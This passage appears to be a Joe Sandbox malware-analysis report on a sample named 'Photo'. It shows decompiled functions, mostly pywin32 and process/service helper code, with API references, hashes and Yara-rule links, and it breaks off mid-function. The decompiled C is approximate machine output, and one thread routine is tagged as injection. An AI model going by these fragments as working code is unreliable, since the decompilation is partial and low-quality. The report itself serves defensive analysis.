Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: String$Err_Object_String_U_object@@
String ID: SECURITY_DESCRIPTOR$can't delete SECURITY_ATTRIBUTES attributes
API String ID: 3706224395-4263807770
Opcode ID: 0613e97584f3de8c592d6cf404edb2e6f0f69ae6fc6be730566a8e602bd57885
Instruction ID: c517fce7c456d270daf6b15982e9f99ee51033fe113d8d5a3c88660618a33db3
Opcode Fuzzy Hash: 0613e97584f3de8c592d6cf404edb2e6f0f69ae6fc6be730566a8e602bd57885
Instruction Fuzzy Hash: E921D3716142814FE310CF38E880A9B77AAAFC5234F4C4B59EAA58B2A5D332D445CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02761BA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E02761BA0(intOrPtr _a8) {
				char _v520;
				char _v524;
				char _v528;
				char _v536;
				void* _t12;
				intOrPtr* _t18;
				intOrPtr _t27;
				void* _t30;
				void* _t32;

				_v528 = 0x208;
				_t12 =  *0x2769308(_a8, 0x276b2e0,  &_v524);
				if(_t12 != 0) {
					_t32 = E027660C0(_v524, 0x1000);
					if(_t32 == 0) {
						L5:
						return 0;
					} else {
						_push(0x104);
						_push(0);
						_push( &_v520);
						L0276836A();
						_push( &_v528);
						_push( &_v520);
						_push(0);
						_push(_t32);
						if( *0x2769144() != 0) {
							CloseHandle(_t32);
							_t18 =  &_v536;
							_t30 = _t18 + 2;
							do {
								_t27 =  *_t18;
								_t18 = _t18 + 2;
							} while (_t27 != 0);
							return  *0x276928c( &_v536, _t18 - _t30 >> 1);
						} else {
							E02761090("QueryFullProcessImageNameW");
							CloseHandle(_t32);
							goto L5;
						}
					}
				} else {
					return _t12;
				}
			}

0x02761bb8
0x02761bc0
0x02761bcb
0x02761be4
0x02761beb
0x02761c2c
0x02761c35
0x02761bed
0x02761bed
0x02761bf6
0x02761bf8
0x02761bf9
0x02761c05
0x02761c0a
0x02761c0b
0x02761c0d
0x02761c16
0x02761c37
0x02761c3d
0x02761c41
0x02761c44
0x02761c44
0x02761c47
0x02761c4a
0x02761c69
0x02761c18
0x02761c1d
0x02761c26
0x00000000
0x02761c26
0x02761c16
0x02761bd3
0x02761bd3
0x02761bd3

APIs

PyArg_ParseTuple.PYTHON27 ref: 02761BC0
QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,?), ref: 02761C0E
CloseHandle.KERNEL32(00000000), ref: 02761C26

Strings

QueryFullProcessImageNameW, xrefs: 02761C18

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_CloseFullHandleImageNameParseProcessQueryTuple
String ID: QueryFullProcessImageNameW
API String ID: 1411945861-4231907612
Opcode ID: 6c68311c9c25d8e8da4096105b765120d71e7c8a175dfbc3e83fe3bcc125a473
Instruction ID: e7b9a0a956deb013f40f509648310c3683fa5888ff830ea6b64cfe56abb32607
Opcode Fuzzy Hash: 6c68311c9c25d8e8da4096105b765120d71e7c8a175dfbc3e83fe3bcc125a473
Instruction Fuzzy Hash: FE11B2B1944305ABD714DB64DC4DBEF73A9AF84704F848D28FD49D6240F778961C8A92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

?PyWinObject_AsBstr@@YAHPAU_object@@PAPA_WHPAK@Z.PYWINTYPES27(?,?,00000000,00000000,?,1E7A23A8,?,?,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?), ref: 1E7A496A
?PyWinObject_FreeBstr@@YAXPA_W@Z.PYWINTYPES27(?,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A499C
?PyWin_SetBasicCOMError@@YAPAU_object@@J@Z.PYWINTYPES27(00000000,?,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A49AA

Strings

Only strings and iids can be converted to a CLSID., xrefs: 1E7A49C3

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Bstr@@Object_U_object@@$BasicError@@FreeWin_
String ID: Only strings and iids can be converted to a CLSID.
API String ID: 835282281-2423238067
Opcode ID: 321871e96fd2cac169694fdee2af4e56b379268f01c51050ea6f4b5a5e62ddae
Instruction ID: 2249318a8fb0346b6fcdd8d5cb5be9f3ba8f2840abed072d4f8f9613932de697
Opcode Fuzzy Hash: 321871e96fd2cac169694fdee2af4e56b379268f01c51050ea6f4b5a5e62ddae
Instruction Fuzzy Hash: 81112175510211AFE314DF25E848E57B7E9AFC9214F1D8A59FA08C7221E731E852CA92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6540 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:GetSecurityDescriptorOwner), ref: 1E7A6562
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 1E7A6585
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetSecurityDescriptorOwner,00000000), ref: 1E7A6595

Part of subcall function 1E7A9F20: GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
Part of subcall function 1E7A9F20: ?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
Part of subcall function 1E7A9F20: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
Part of subcall function 1E7A9F20: ?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
Part of subcall function 1E7A9F20: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Part of subcall function 1E7A9F20: Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
Part of subcall function 1E7A9F20: LocalFree.KERNEL32(?), ref: 1E7A9FFF
Part of subcall function 1E7A9F20: PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

Strings

GetSecurityDescriptorOwner, xrefs: 1E7A6590
:GetSecurityDescriptorOwner, xrefs: 1E7A655C

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$ErrorFromMessageWin_$Arg_BuildCoreDescriptorE__@@Err_Error@@FormatFreeLastLocalModule@@ObjectObject_OwnerParseSecurityString@@String_TupleValue
String ID: :GetSecurityDescriptorOwner$GetSecurityDescriptorOwner
API String ID: 2810472384-1512101531
Opcode ID: a412d8fe6911e0f1e0a418da118e8a6826e278e7d09b049214d9a43513b37fd1
Instruction ID: c362184cb5a130664209f985e73367608124750c02ac9819a35c572582ec3584
Opcode Fuzzy Hash: a412d8fe6911e0f1e0a418da118e8a6826e278e7d09b049214d9a43513b37fd1
Instruction Fuzzy Hash: 901160B4904641EFE704DF54D941B56B7E5FBC8B14F484B2CE94A83364E738D544CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6280 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:Initialize), ref: 1E7A629A
InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 1E7A62AE

Strings

:Initialize, xrefs: 1E7A628E
InitializeSecurityDescriptor, xrefs: 1E7A62BF

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DescriptorInitializeParseSecurityTuple
String ID: :Initialize$InitializeSecurityDescriptor
API String ID: 3008588735-475701968
Opcode ID: 5876e770a373c18191ec1faa5bf97fbc7e97dc22295245029203b1da22021b78
Instruction ID: b1fcaf02be90c8365b70036c527c572e31b673439928258eaf6a5abf4ed0a7a9
Opcode Fuzzy Hash: 5876e770a373c18191ec1faa5bf97fbc7e97dc22295245029203b1da22021b78
Instruction Fuzzy Hash: 080192367012125BE6009F99D884A9B77AAAFC8656F0D4729FB08C3261E770D459CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1F30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,lO:AddAccessAllowedAce,?,?), ref: 1E7A1F4F
PyErr_Clear.PYTHON27 ref: 1E7A1F8D
PyArg_ParseTuple.PYTHON27(?,llO:AddAccessAllowedAce,?,?,?), ref: 1E7A1FA8

Part of subcall function 1E7A1DC0: PyErr_Format.PYTHON27(?,%s not supported by this version of Windows,?,6C591680,?,?,1E7A1F84,7435F6B0,AddAccesAllowedAce,?,?,?,?), ref: 1E7A1DE5

Strings

llO:AddAccessAllowedAce, xrefs: 1E7A1FA2
lO:AddAccessAllowedAce, xrefs: 1E7A1F49
AddAccesAllowedAce, xrefs: 1E7A1F79

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_ParseTuple$ClearFormat
String ID: AddAccesAllowedAce$lO:AddAccessAllowedAce$llO:AddAccessAllowedAce
API String ID: 1510928575-648165593
Opcode ID: bbd5723521c4338b971aec1d90824913ded98b824ed5b6ff009ef995beb95b12
Instruction ID: 22f0cd8007abc6ae17bcfee7f7f34f525c5ca14dec3df2f8543c6bfe18f9246c
Opcode Fuzzy Hash: bbd5723521c4338b971aec1d90824913ded98b824ed5b6ff009ef995beb95b12
Instruction Fuzzy Hash: 1D0152B6504246BBE300EE58DC41DEB77ECAFD8648F484A1DFA9483211F730E509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1FC0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,lO:AddAccessDeniedAce,?,?), ref: 1E7A1FDF
PyErr_Clear.PYTHON27 ref: 1E7A201D
PyArg_ParseTuple.PYTHON27(?,llO:AddAccessDeniedAce,?,?,?), ref: 1E7A2038

Part of subcall function 1E7A1DC0: PyErr_Format.PYTHON27(?,%s not supported by this version of Windows,?,6C591680,?,?,1E7A1F84,7435F6B0,AddAccesAllowedAce,?,?,?,?), ref: 1E7A1DE5

Strings

lO:AddAccessDeniedAce, xrefs: 1E7A1FD9
AddAccesDeniedAce, xrefs: 1E7A2009
llO:AddAccessDeniedAce, xrefs: 1E7A2032

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_ParseTuple$ClearFormat
String ID: AddAccesDeniedAce$lO:AddAccessDeniedAce$llO:AddAccessDeniedAce
API String ID: 1510928575-45297876
Opcode ID: 467fc6351f60dd3b24c835575a2581c75a0a42df007bde8ab6291a3e9a98f7a4
Instruction ID: 46de305ba21667a810e6f12e26549760d6ee3b05b5f5e83b573ca7e8065276f4
Opcode Fuzzy Hash: 467fc6351f60dd3b24c835575a2581c75a0a42df007bde8ab6291a3e9a98f7a4
Instruction Fuzzy Hash: A7011EB6604256BBE300EA58DC45DEB77ECEFD8244F494A1DFA8483211F770E509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027668D0 Relevance: 10.5, APIs: 7, Instructions: 45
threadsynchronizationinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E027668D0(void* __eax, void* __edx) {
				void* _t25;

				 *((intOrPtr*)(_t25 + 0x24)) =  *((intOrPtr*)(_t25 + 0x24)) + __edx;
			}

0x027668d6

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00006880,00000000,00000000,00000000), ref: 027668E8
SetEvent.KERNEL32(00000000), ref: 02766905
WaitForSingleObject.KERNEL32(00000000,00000064), ref: 0276691A
SuspendThread.KERNEL32(00000000), ref: 0276692D
TerminateThread.KERNEL32(00000000,00000001), ref: 0276693B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0276694A
CloseHandle.KERNEL32(00000000), ref: 02766953

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Thread$ObjectSingleWait$CloseCreateEventHandleSuspendTerminate
String ID:
API String ID: 4123217685-0
Opcode ID: 281343873f3a7b022a9e0328bf0886db88553ddff245dd3552a07d180f3db47a
Instruction ID: c4f91a2216bac332ba6f8c28248af63b894974beda3c6922d47f8eb8b7eb1fa0
Opcode Fuzzy Hash: 281343873f3a7b022a9e0328bf0886db88553ddff245dd3552a07d180f3db47a
Instruction Fuzzy Hash: B9015A75F90303EBDA249B28EC8EF1637A9A788B15F14C925FB0193280C6B49428CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027668D1 Relevance: 10.5, APIs: 7, Instructions: 45
threadsynchronizationinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E027668D1(void* __eax, void* __edx) {
				void* _t25;

				 *((intOrPtr*)(_t25 + 0x24)) =  *((intOrPtr*)(_t25 + 0x24)) + __edx;
			}

0x027668d6

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00006880,00000000,00000000,00000000), ref: 027668E8
SetEvent.KERNEL32(00000000), ref: 02766905
WaitForSingleObject.KERNEL32(00000000,00000064), ref: 0276691A
SuspendThread.KERNEL32(00000000), ref: 0276692D
TerminateThread.KERNEL32(00000000,00000001), ref: 0276693B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0276694A
CloseHandle.KERNEL32(00000000), ref: 02766953

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Thread$ObjectSingleWait$CloseCreateEventHandleSuspendTerminate
String ID:
API String ID: 4123217685-0
Opcode ID: 653e04ba9e7b676ac2896b17ebd9340e884e031c28c1750f9f09853788f40abb
Instruction ID: 9b0b4576e1712a9ddcbfe8b80315797687769b251f97c72d6becabed8abc1a28
Opcode Fuzzy Hash: 653e04ba9e7b676ac2896b17ebd9340e884e031c28c1750f9f09853788f40abb
Instruction Fuzzy Hash: F5017175F90303EBDA259B28EC8EF563BA9A78CB14F14CD25FB01932C0D6749424CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02767220 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02767220(char* _a4, int _a8, int _a12) {
				void* _t17;
				void* _t20;

				_t20 = OpenSCManagerA(0, 0, _a8);
				if(_t20 != 0) {
					_t17 = OpenServiceA(_t20, _a4, _a12);
					if(_t17 != 0) {
						CloseServiceHandle(_t20);
						return _t17;
					} else {
						E02761090("OpenService");
						CloseServiceHandle(_t20);
						return 0;
					}
				} else {
					E02761090("OpenSCManager");
					return 0;
				}
			}

0x02767230
0x02767234
0x02767259
0x0276725d
0x02767279
0x02767283
0x0276725f
0x02767264
0x0276726d
0x02767277
0x02767277
0x02767236
0x0276723b
0x02767246
0x02767246

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,?), ref: 0276722A
OpenServiceA.ADVAPI32(00000000,?,?), ref: 02767253
CloseServiceHandle.ADVAPI32(00000000), ref: 0276726D

Part of subcall function 02761090: GetLastError.KERNEL32 ref: 027610B2
Part of subcall function 02761090: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000), ref: 027610B9

Strings

OpenSCManager, xrefs: 02767236
OpenService, xrefs: 0276725F

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: OpenService$CloseErr_ErrorFilenameFromHandleLastManagerWindowsWith
String ID: OpenSCManager$OpenService
API String ID: 4042265537-1214084076
Opcode ID: f05f5137624ff45377247604529e2e3ca25f41d8b2e67b6e47eee1e392123607
Instruction ID: 7668bee13d3b8b81654e1cd2ac34b733a10537561319d9ac5a8ec75162fa3624
Opcode Fuzzy Hash: f05f5137624ff45377247604529e2e3ca25f41d8b2e67b6e47eee1e392123607
Instruction Fuzzy Hash: 9DF0547AB59712EBE6126675FC0DFFB3B75EBC46A1F054824FD05D2204EB30D80585A2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7390 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32(?), ref: 1E7A7399
PyErr_SetString.PYTHON27(?,GetSidIdentifierAuthority: Invalid SID in object), ref: 1E7A73B0
GetSidIdentifierAuthority.ADVAPI32(?), ref: 1E7A73C1
Py_BuildValue.PYTHON27((BBBBBB),?,?,?,?,?,?), ref: 1E7A73E9

Strings

GetSidIdentifierAuthority: Invalid SID in object, xrefs: 1E7A73AA
(BBBBBB), xrefs: 1E7A73E4

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: AuthorityBuildErr_IdentifierStringValidValue
String ID: (BBBBBB)$GetSidIdentifierAuthority: Invalid SID in object
API String ID: 4045288465-3761804006
Opcode ID: cec292d7eb4ecf5f3e5984fe76aa5cee9fbf2e8986fc4ba528effe0d474b7665
Instruction ID: d7919b7b6e3c6315f71cde707b081f753a377a013c802aea03a92098d945fdaf
Opcode Fuzzy Hash: cec292d7eb4ecf5f3e5984fe76aa5cee9fbf2e8986fc4ba528effe0d474b7665
Instruction Fuzzy Hash: E2F04FA51181A0AFE2059BA5A858C63BFED9ECD20530E8589FA9587266D128D510DB30

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7E10 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33timeCOMMON

Download Yara Rule

APIs

VariantTimeToSystemTime.OLEAUT32 ref: 1E7A7E20
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(VariantTimeToSystemTime,00000000), ref: 1E7A7E30

Part of subcall function 1E7A9F20: GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
Part of subcall function 1E7A9F20: ?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
Part of subcall function 1E7A9F20: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
Part of subcall function 1E7A9F20: ?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
Part of subcall function 1E7A9F20: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Part of subcall function 1E7A9F20: Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
Part of subcall function 1E7A9F20: LocalFree.KERNEL32(?), ref: 1E7A9FFF
Part of subcall function 1E7A9F20: PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

SystemTimeToFileTime.KERNEL32(?,?), ref: 1E7A7E4A
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(SystemTimeToFileTime,00000000), ref: 1E7A7E5A

Strings

VariantTimeToSystemTime, xrefs: 1E7A7E2B
SystemTimeToFileTime, xrefs: 1E7A7E55

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: TimeU_object@@$Win_$ErrorError@@FromMessageSystem$BuildCoreE__@@Err_FileFormatFreeLastLocalModule@@ObjectObject_String@@String_ValueVariant
String ID: SystemTimeToFileTime$VariantTimeToSystemTime
API String ID: 934721868-2203997993
Opcode ID: 647fcc6a78f94493d9b8faee3e143f28f934e57bee1462480c98f52f151eb49c
Instruction ID: dd953f5dd9d58e8322515d91941214e58708e7a00023c4a248e21ce2019c5af3
Opcode Fuzzy Hash: 647fcc6a78f94493d9b8faee3e143f28f934e57bee1462480c98f52f151eb49c
Instruction Fuzzy Hash: 93F0A7BA92405197F300BB74EC4A967B29DEBE4305F8C4E78FA45C0215F632D628C6B3

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1C80 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 21COMMON

Download Yara Rule

APIs

Py_BuildValue.PYTHON27({s:l,s:l,s:l,s:N},AccessPermissions,00000000,AccessMode,?,Inheritance,?,Trustee,00000000,?), ref: 1E7A1CB3

Strings

Inheritance, xrefs: 1E7A1C9D
{s:l,s:l,s:l,s:N}, xrefs: 1E7A1CAE
AccessMode, xrefs: 1E7A1CA3
Trustee, xrefs: 1E7A1C97
AccessPermissions, xrefs: 1E7A1CA9

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: BuildValue
String ID: AccessMode$AccessPermissions$Inheritance$Trustee${s:l,s:l,s:l,s:N}
API String ID: 3383912721-738551721
Opcode ID: 5a68f0335fcf1f4b7d90955cabee018b32cf1474b5c979d2dd32ecf681b0515a
Instruction ID: c82e2407a718cda2c452ebf11e3a7213119d6916032330c42638df7a64402765
Opcode Fuzzy Hash: 5a68f0335fcf1f4b7d90955cabee018b32cf1474b5c979d2dd32ecf681b0515a
Instruction Fuzzy Hash: 8DE0ECB5100115BFB614CB48DC85CD3B3EDDBC871CB088B19BB9A93321D660BC84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 027812D0 Relevance: 9.1, APIs: 6, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E027812D0(intOrPtr __edi, intOrPtr _a4, intOrPtr _a8) {
				void* _t16;
				intOrPtr* _t19;
				void* _t38;
				intOrPtr* _t39;
				void* _t54;
				intOrPtr* _t55;
